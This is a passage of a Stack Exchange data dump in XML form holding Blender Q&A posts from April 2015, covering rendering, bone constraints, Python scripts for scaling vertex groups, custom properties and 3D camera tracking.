  <row Id="28798" PostTypeId="1" CreationDate="2015-04-22T10:30:55.687" Score="0" ViewCount="51" Body="&lt;p&gt;I want to ask, is it possible to change camera focus in Blender? For example, I want the camera to focus to an object. So the other objects behind the focused object have a blur effect. How to do that?&#xA;Thanks for the reply :D&lt;/p&gt;&#xA;" OwnerUserId="13845" LastActivityDate="2015-04-22T10:30:55.687" Title="How to change camera focus in Blender?" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-04-22T12:13:01.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="28799" PostTypeId="1" CreationDate="2015-04-22T11:39:13.220" Score="1" ViewCount="706" Body="&lt;p&gt;I have created a hairstyle with the hair particle system. I can't render the exact style in final render, but I can render that in openGL.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mjkfr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mjkfr.jpg&quot; alt=&quot;three views of the hair&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/196/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=196&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11068" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-04-23T09:44:40.613" Title="How to render particle hairs in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28800" PostTypeId="1" AcceptedAnswerId="28806" CreationDate="2015-04-22T11:55:23.180" Score="5" ViewCount="3950" Body="&lt;p&gt;When I add a &lt;em&gt;Single Bone&lt;/em&gt; and then an &lt;em&gt;Empty&lt;/em&gt; object to the scene, as follows:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ll2TD.png&quot; alt=&quot;single bone and an empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I add a &lt;em&gt;Copy Rotation&lt;/em&gt; bone-constraint, I set the &lt;em&gt;Empty&lt;/em&gt; object as the target, the constraint will rotate my bone on the X axis by 90 degrees:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Krny9.png&quot; alt=&quot;copy rotation constraint rotating bone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although neither the &lt;em&gt;Armature&lt;/em&gt;, nor the Bone and not even the &lt;em&gt;Empty&lt;/em&gt; has any rotations whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt; why is this happening and if this is the expected behavior, then how can I prevent it from happening?&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="2217" LastEditDate="2015-04-22T15:24:23.097" LastActivityDate="2015-04-22T15:50:09.970" Title="Copy Rotation Bone Constraint fails" Tags="&lt;armature&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28801" PostTypeId="2" ParentId="28800" CreationDate="2015-04-22T12:14:37.180" Score="1" Body="&lt;p&gt;I still have no idea why, but it looks like, that turning the &lt;code&gt;Offset&lt;/code&gt; option to &lt;code&gt;True&lt;/code&gt; (place a tick into the option-box) will solve the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FhicF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1989" LastActivityDate="2015-04-22T12:14:37.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28802" PostTypeId="1" CreationDate="2015-04-22T13:49:39.387" Score="3" ViewCount="1305" Body="&lt;p&gt;I'm very new to blender but keen to learn more. I have used a lot of 2 and 3D modelling packages as well as a number of GIS applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just trying to work out if I can model a fluid flow over a surface, ie a DTM (digital Terrain model) which I understand needs impotent as a tiff or similar image file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is simulate flood water across a surface/DTM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, is there somewhere that would help me get started?&lt;/p&gt;&#xA;" OwnerUserId="13921" LastEditorUserId="2217" LastEditDate="2015-04-22T21:22:10.173" LastActivityDate="2015-04-23T05:08:34.020" Title="2D flow simulation over a surface" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28803" PostTypeId="1" AcceptedAnswerId="28882" CreationDate="2015-04-22T13:57:59.353" Score="6" ViewCount="351" Body="&lt;p&gt;What are the disadvantages of using importance sampling (MIS) for lamps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, apparently it converges faster, looks the same as when not using it, takes about the same time... Why not turn it on all the time?&lt;/p&gt;&#xA;" OwnerUserId="13839" LastActivityDate="2015-04-24T00:47:42.210" Title="Disadvantages of importance sampling" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28804" PostTypeId="2" ParentId="28787" CreationDate="2015-04-22T14:13:40.340" Score="5" Body="&lt;p&gt;&lt;strong&gt;GPU Rendering is not available for Blender Internal&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Internal engine was designed to use CPU long before GPU rendering was available. To make the use of GPU in Blender Internal it will be necessary to rewrite the code of this rendering engine in order to adapt to different computation technology, currently it is not in the priority of the developers, but hopefully in the future.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-22T14:13:40.340" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28805" PostTypeId="2" ParentId="28650" CreationDate="2015-04-22T14:57:52.173" Score="0" Body="&lt;p&gt;You can have some infos about importing from Blender to Unreal Engine 4 from this page: &lt;a href=&quot;https://wiki.unrealengine.com/Static_Mesh_from_Blender#Pivot_Points&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.unrealengine.com/Static_Mesh_from_Blender#Pivot_Points&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can read, you should place the origin where you want your pivot point to be. For example, for a basic hinged door, you should do &lt;img src=&quot;https://i.imgur.com/tHQmnGH.png&quot; alt=&quot;something like this&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you said you did not want to do something like this, but it seems like there's no way to do it.&lt;/p&gt;&#xA;" OwnerUserId="13922" LastActivityDate="2015-04-22T14:57:52.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28806" PostTypeId="2" ParentId="28800" CreationDate="2015-04-22T15:09:20.387" Score="4" Body="&lt;p&gt;First, yes it is supposed to happen. If it is expected or not depends on whether on not you have read this answer. &lt;sub&gt;:)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this happens is because bones in blender are not Z up like everything else, but the Y axis is up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture set up the same as yours, but with the axis display turned on for the armature.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w2Hzi.png&quot; alt=&quot;bone showing the Y axis is up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily &quot;fix&quot; the offset by changing the rotational space from &lt;em&gt;World&lt;/em&gt; to &lt;em&gt;Local with Parent&lt;/em&gt;. (You will in most cases want to use local with Parent space anyway.) &#xA;&lt;img src=&quot;https://i.stack.imgur.com/hxt4w.png&quot; alt=&quot;Copy rotation constraint settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Try rotating the bone in edit mode, then see what the constraint does with &lt;em&gt;Offset&lt;/em&gt; turned on and the Space set to &lt;em&gt;World&lt;/em&gt;. (Hint, you will end up needing Local with Parent.)&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="241" LastEditDate="2015-04-22T15:50:09.970" LastActivityDate="2015-04-22T15:50:09.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28807" PostTypeId="1" AcceptedAnswerId="28820" CreationDate="2015-04-20T15:52:39.377" Score="6" ViewCount="3031" Body="&lt;p&gt;I have a mesh made of 94 groups of 4 vertices:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ahrOb.png&quot; alt=&quot;mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to scale each group of vertices by a decreasing factor (from 100% to 0%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried two different ways to do that, the first is based on the same function called when using the &quot;scale command&quot; via user interface:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.resize(&#xA;value=(0.2, 0.2, 0.2), &#xA;constraint_axis=(False, False, False), &#xA;constraint_orientation='GLOBAL', &#xA;mirror=False, &#xA;proportional='DISABLED', &#xA;proportional_edit_falloff='SMOOTH', &#xA;proportional_size=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to begin, I tried to scale the first four vertices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bpy.ops.mesh.select_all(action=&quot;DESELECT&quot;)&#xA;&#xA;verts = obj.data.vertices&#xA;obj.data.vertices[0].select=True&#xA;obj.data.vertices[1].select=True&#xA;obj.data.vertices[2].select=True&#xA;obj.data.vertices[3].select=True&#xA;&#xA;&#xA;bpy.ops.transform.resize(&#xA;    value=(0.2, 0.2, 0.2), &#xA;    constraint_axis=(False, False, False), &#xA;    constraint_orientation='GLOBAL', &#xA;    mirror=False, &#xA;    proportional='DISABLED', &#xA;    proportional_edit_falloff='SMOOTH', &#xA;    proportional_size=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running the code in object mode with my mesh selected, just switches the enviroment to edit mode and nothing else, however if I manually select four vertices and run this script, it scales the four selected vertices correctly.&#xA;so.. why is &lt;code&gt;obj.data.vertices[i].select=True&lt;/code&gt; completely useless? and how can I correctly select the vertices in order to get &lt;code&gt;bpy.ops.transform.resize()&lt;/code&gt; correctly work on them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to use bmesh library as it was recommended in most of the forums and guides I visited.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import math&#xA;import mathutils&#xA;&#xA;# Get the active mesh&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;face = bm.faces.active&#xA;&#xA;vertices=[bm.verts[0],bm.verts[1],bm.verts[2],bm.verts[3]]&#xA;&#xA;# Scale&#xA;scale = mathutils.Vector((0.2,0.2,0.2))&#xA;bmesh.ops.scale(&#xA;            bm,&#xA;            vec=scale,&#xA;            verts=vertices&#xA;            )&#xA;&#xA;# Show the updates in the viewport&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this script actually does something: it scales the coordinates of the first four vertices. this means that for each vertex I pass to that function, its position is scaled respect to the origin of the scene ( the point (0,0,0) ).&#xA;But I want it to be scaled respect to the center of the four vertices, as it would be if I manually select the vertices and apply the &lt;code&gt;bpy.ops.transform.resize()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the first case, how can I tell to &quot;Blender&quot; to select vertices in order to apply the &lt;code&gt;bpy.ops.transform.resize()&lt;/code&gt; function? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the latter case, how can I make it to scale respect to the center of the four vertices instead of the center of the image?&lt;/p&gt;&#xA;" OwnerUserId="13977" OwnerDisplayName="Mirco Nani" LastActivityDate="2015-04-23T08:20:50.313" Title="Blender: Scale a group of vertices using python" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28810" PostTypeId="2" ParentId="28799" CreationDate="2015-04-22T16:46:58.647" Score="0" Body="&lt;p&gt;Cycles animation engine doesn't show particles in render. Unlike in blender engine were a particle shows up as a signal pixel. The best way to fix your problem is to turn your particles to object in under render options(halo, line, ect.)Under the particle system&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2015-04-22T16:46:58.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28811" PostTypeId="2" ParentId="28772" CreationDate="2015-04-22T16:51:37.453" Score="2" Body="&lt;p&gt;you must go under properties(default on the right)/texture/world texture then create world texture and set the world texture to image or movie. Then you must scroll down to influence and check horizan.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2015-04-22T16:51:37.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28812" PostTypeId="1" CreationDate="2015-04-22T17:35:45.450" Score="9" ViewCount="201" Body="&lt;p&gt;I have made a character with particle hair. The hair is dynamic and it works fine. I want to attach beads to a strand, so that it moves along with the strand of hair. However, I can not find the right button to do this.&#xA;If this is possible, how can it be done?&lt;/p&gt;&#xA;" OwnerUserId="13926" LastEditorUserId="241" LastEditDate="2015-04-22T17:54:39.740" LastActivityDate="2015-04-22T17:54:39.740" Title="Parenting a mesh to a particle" Tags="&lt;mesh&gt;&lt;particles&gt;&lt;constraints&gt;&lt;parent&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2016-11-05T17:26:55.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="28813" PostTypeId="2" ParentId="28753" CreationDate="2015-04-22T17:39:41.490" Score="2" Body="&lt;p&gt;Storing the data in collection property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# specify the data structure - each item will be group of properties:&#xA;class Box2DJoint(bpy.types.PropertyGroup):&#xA;    # name = bpy.props.StringProperty()&#xA;    body_a = bpy.props.StringProperty()    # reference object name&#xA;    body_b = bpy.props.StringProperty()    # reference object name&#xA;    anchor_a = bpy.props.FloatVectorProperty()&#xA;    anchor_b = bpy.props.FloatVectorProperty()&#xA;&#xA;# store them under scene:&#xA;bpy.utils.register_module(__name__)&#xA;bpy.types.Scene.box_2d_joints = bpy.props.CollectionProperty(type=Box2DJoint)&#xA;&#xA;# populate like so:&#xA;new_joint = bpy.context.scene.box_2d_joints.add()&#xA;new_joint.name = &quot;silly_box_joint&quot;&#xA;new_joint.body_a = 'Some_object_name'&#xA;# ...etc.&#xA;&#xA;# remove with index:&#xA;id = bpy.context.scene.box_2d_joints.find(&quot;silly_box_joint&quot;)&#xA;bpy.context.scene.box_2d_joints.remove(id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The advantage of the data storage like this is you can also display it in UI lists which is nice: &lt;a href=&quot;https://blender.stackexchange.com/questions/15917/populate-a-list-with-custom-property-dictionary-data/15924#15924&quot;&gt;Populate a list with custom property dictionary data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user renames objects in blender or deletes them, the references must be adjusted: &lt;a href=&quot;https://blender.stackexchange.com/questions/19668/execute-a-python-function-whenever-the-user-interacts-with-the-program/19669#19669&quot;&gt;Execute a python function whenever the user interacts with the program&lt;/a&gt;. This offers the most flexibility, the code can catch almost anything. The handicap is that the frame change handler runs all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other approach would be to give objects some random hash which is stored with object name and searched for when the object is not found. Here is how to set it up for objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import string&#xA;import random&#xA;&#xA;def random_id(length = 12):&#xA;    return &quot;&quot;.join([random.choice(string.ascii_uppercase) for i in range(length)])&#xA;&#xA;bpy.types.Object.hash = bpy.props.StringProperty()&#xA;bpy.context.object.hash = random_id()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To check if object name exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if bpy.data.objects.get(&quot;FooBar&quot;) is not None:&#xA;    # do something with bpy.data.objects['FooBar']&#xA;else:&#xA;    # deal with it&#xA;    # look through all objects for hash and if found update name reference&#xA;    # if hash not found object is deleted or a ninja&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use bgl module to display such custom objects in view-port: &lt;a href=&quot;https://blender.stackexchange.com/questions/21463/draw-points-on-screen-with-bgl-python&quot;&gt;Draw points on screen with bgl? (python)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drawing code runs inside modal operator and has access to bpy.context, you can draw points, lines, triangles etc. in 3d float coords (init with 'POST_VIEW' tag) or in 2d pixel coords (init with 'POST_PIXEL'). &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_4/bgl.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BGL Wrapper Reference&lt;/a&gt;. The BLF module can be used to draw text. There are python templates in text editor for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping this simple is good because drawing with python is not very fast. Too many draw-calls and Blender view-port fps will suffer.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-04-22T18:59:53.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28814" PostTypeId="2" ParentId="28772" CreationDate="2015-04-22T17:51:47.603" Score="6" Body="&lt;p&gt;In the Properties window on the &lt;em&gt;Scene&lt;/em&gt; Tab under the &lt;em&gt;Film&lt;/em&gt; section check the transparent box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ipEXi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ipEXi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise your background will be the color set in the Properties-&gt;World-&gt;Surface settings.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="2217" LastEditDate="2018-12-18T03:29:43.057" LastActivityDate="2018-12-18T03:29:43.057" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28815" PostTypeId="2" ParentId="15767" CreationDate="2015-04-22T17:59:40.357" Score="2" Body="&lt;p&gt;You can import chart to Graph editor with an add-on you refer to. &#xA;It is fixed now by Chebhou :) You can download script from &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?209181-A-Script-to-Import-a-CSV-File-and-Create-F-Curves-(for-Blender-2-5x-or-later)&amp;amp;p=2857860&amp;amp;viewfull=1#post2857860&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&#xA;Add-on appears in a Scene properties panel and works as expected in 2.74 (seems to me).&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2015-04-22T21:01:47.760" LastActivityDate="2015-04-22T21:01:47.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28816" PostTypeId="1" AcceptedAnswerId="32228" CreationDate="2015-04-22T19:00:11.093" Score="5" ViewCount="1060" Body="&lt;p&gt;How can I display the amount of reflection an object has in the viewport?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-06-10T16:23:51.053" Title="How to display mirror reflection in viewport?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28817" PostTypeId="2" ParentId="28769" CreationDate="2015-04-22T19:31:32.797" Score="1" Body="&lt;p&gt;As everything will be packed onto just 1 texture, tiling would repeat the whole texture and this is unwanted. Nowadays engines don't have problems with polygons so if you want a part of that packed texture to repeat simply create the surface of many polygons each mapped to the same area on the packed image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To utilize multiple tiling textures you would need support for multiple materials with multiple UV maps. Each section of model would then have different material with different UV map. Blender can do this but I have no clue about the format which you might use. &lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-22T19:31:32.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28818" PostTypeId="2" ParentId="28807" CreationDate="2015-04-22T19:49:56.790" Score="2" Body="&lt;p&gt;vertex selection using &lt;code&gt;obj.data.vertices[i].select=True&lt;/code&gt;should be done in OBJECT mode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bpy.ops.mesh.select_all(action=&quot;DESELECT&quot;)&#xA;&#xA;verts = obj.data.vertices&#xA;l = int(len(verts)/4)&#xA;for i in range(l) :&#xA;&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;    obj.data.vertices[i*4].select=True&#xA;    obj.data.vertices[i*4+1].select=True&#xA;    obj.data.vertices[i*4+2].select=True&#xA;    obj.data.vertices[i*4+3].select=True&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.transform.resize(&#xA;        value=(0.2, 0.2, 0.2), &#xA;        constraint_axis=(False, False, False), &#xA;        constraint_orientation='GLOBAL', &#xA;        mirror=False, &#xA;        proportional='DISABLED', &#xA;        proportional_edit_falloff='SMOOTH', &#xA;        proportional_size=1)&#xA;    bpy.ops.mesh.select_all(action=&quot;DESELECT&quot;)    &#xA;&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-22T19:49:56.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28819" PostTypeId="1" CreationDate="2015-04-22T20:05:38.797" Score="2" ViewCount="2032" Body="&lt;p&gt;when I import an obj file, by default auto smoothing is enabled. Is it possible to change this option as in the old realises? &lt;/p&gt;&#xA;" OwnerUserId="13929" LastActivityDate="2015-04-23T01:39:16.170" Title="how to disable auto smoothing by default in 2.74" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28820" PostTypeId="2" ParentId="28807" CreationDate="2015-04-22T20:14:35.870" Score="5" Body="&lt;p&gt;I prefer a more low level solution. This particular approach requires the object to be in Object Mode, but a small change using Bmesh would let you do it in edit mode. This will give you some insight I hope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0zPP8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;# replace this with reference to your object.&#xA;obj = bpy.data.objects['BezierCurve']&#xA;&#xA;def get_average(vert_range):&#xA;    med = Vector()&#xA;    for vert in vert_range:&#xA;        vec = vert.co&#xA;        med = med + vec&#xA;    return med / len(vert_range)&#xA;&#xA;verts = obj.data.vertices&#xA;num_verts = len(verts)&#xA;scale = 1 / (num_verts / 4)&#xA;j = 0&#xA;for i in range(0, num_verts, 4):&#xA;    mid = get_average(verts[i:i+4])&#xA;    for k in range(i, i+4):&#xA;        verts[k].co = verts[k].co.lerp(mid, 1-(j*scale))&#xA;    j += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xshK0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For every 4 verts, it finds their average, and scales those verts towards that average by an increasing value every 4 verts. I may have reversed the direction so instead of &lt;code&gt;1-(j*scale)&lt;/code&gt; you might want &lt;code&gt;(j*scale)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;for completeness A Bmesh solution, this works in edit mode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;def get_average(vert_range):&#xA;    med = Vector()&#xA;    for vert in vert_range:&#xA;        vec = vert.co&#xA;        med = med + vec&#xA;    return med / len(vert_range)&#xA;&#xA;# Get the active mesh&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;verts = bm.verts&#xA;num_verts = len(verts)&#xA;scale = 1 / (num_verts / 4)&#xA;j = 0&#xA;for i in range(0, num_verts, 4):&#xA;    mid = get_average(verts[i:i+4])&#xA;    for k in range(i, i+4):&#xA;        verts[k].co = verts[k].co.lerp(mid, 1-(j*scale))&#xA;    j += 1&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see you were going in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-23T08:20:50.313" LastActivityDate="2015-04-23T08:20:50.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28821" PostTypeId="2" ParentId="28643" CreationDate="2015-04-22T20:22:43.687" Score="1" Body="&lt;p&gt;None of the suggestions already on StackExchange specifically addressed what I wanted to do. Here's what I finally came up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s1.postimg.org/hewpl3ym5/rendered_spiral.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;my weatherman-type rendered spiral http://s1.postimg.org/hewpl3ym5/rendered_spiral.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a spiral; in Geometry, I used a custom bevel and taper. I assigned it a material. I used hemi light in Blender Render. (So no shadow where one part of the ribbon crosses the other.) I added a 3 point mesh triangle for the arrow and made that a child of the spiral so that it would rotate with the spiral during animation. I added a black border in BR post processing. (Whew! Took 3 days with lots of reading and watching youtube tutorials.)&lt;/p&gt;&#xA;" OwnerUserId="13931" LastEditorUserId="13931" LastEditDate="2015-04-22T20:29:25.387" LastActivityDate="2015-04-22T20:29:25.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28822" PostTypeId="1" AcceptedAnswerId="28828" CreationDate="2015-04-22T21:11:07.103" Score="4" ViewCount="959" Body="&lt;p&gt;I made a 3D tracking, and noticed that after rendering the image is cropped. I got the camera through the 3D tracking. Why is this happening and can we fix it without making new 3D tracking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot at the top is the compositor, and below is render:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eRrK7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eRrK7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="2217" LastEditDate="2015-04-22T23:12:34.407" LastActivityDate="2015-04-22T23:12:34.407" Title="Render crops image from compositor" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;image&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2015-04-23T04:14:31.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="28823" PostTypeId="2" ParentId="28819" CreationDate="2015-04-22T21:14:51.007" Score="4" Body="&lt;p&gt;You cannot (well, not from UI or other 'user-land' ways). Note however that 'autosmooth' here is a bit of a weak name, since it actually means you are using (custom) normals as defined by the .obj, instead of auto-computed ones by Blender…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you really want to disable that by default, you'll have to open &lt;code&gt;addons/io_scene_obj/import.py&lt;/code&gt; in your Blender installation, search for &lt;code&gt;me.use_auto_smooth = True&lt;/code&gt; (should be around line 657 currently), and replace it by &lt;code&gt;me.use_auto_smooth = False&lt;/code&gt; (or just comment it by adding a &lt;code&gt;#&lt;/code&gt; in front of that line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, don’t think you want to do that, at least I do not see why you would…&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-04-22T21:14:51.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28824" PostTypeId="1" AcceptedAnswerId="28843" CreationDate="2015-04-22T21:18:09.340" Score="0" ViewCount="244" Body="&lt;p&gt;I made a 3D track. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render the sequence, with the same number of frames (even more) as the original video, and the same fps, I get the video which is shorter than the original. Where I made mistake and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Looks like I've just realized what the problem is. In the render settings are the same fps as in the original video, but when I export the rendered sequence in adobe premiere - FPS different! Why is this happening and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-04-23T07:44:18.427" LastActivityDate="2015-04-23T14:22:14.447" Title="3d tracking: after render video is shorter than original (same fps and amount of frames)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;video&gt;&lt;tracking&gt;" 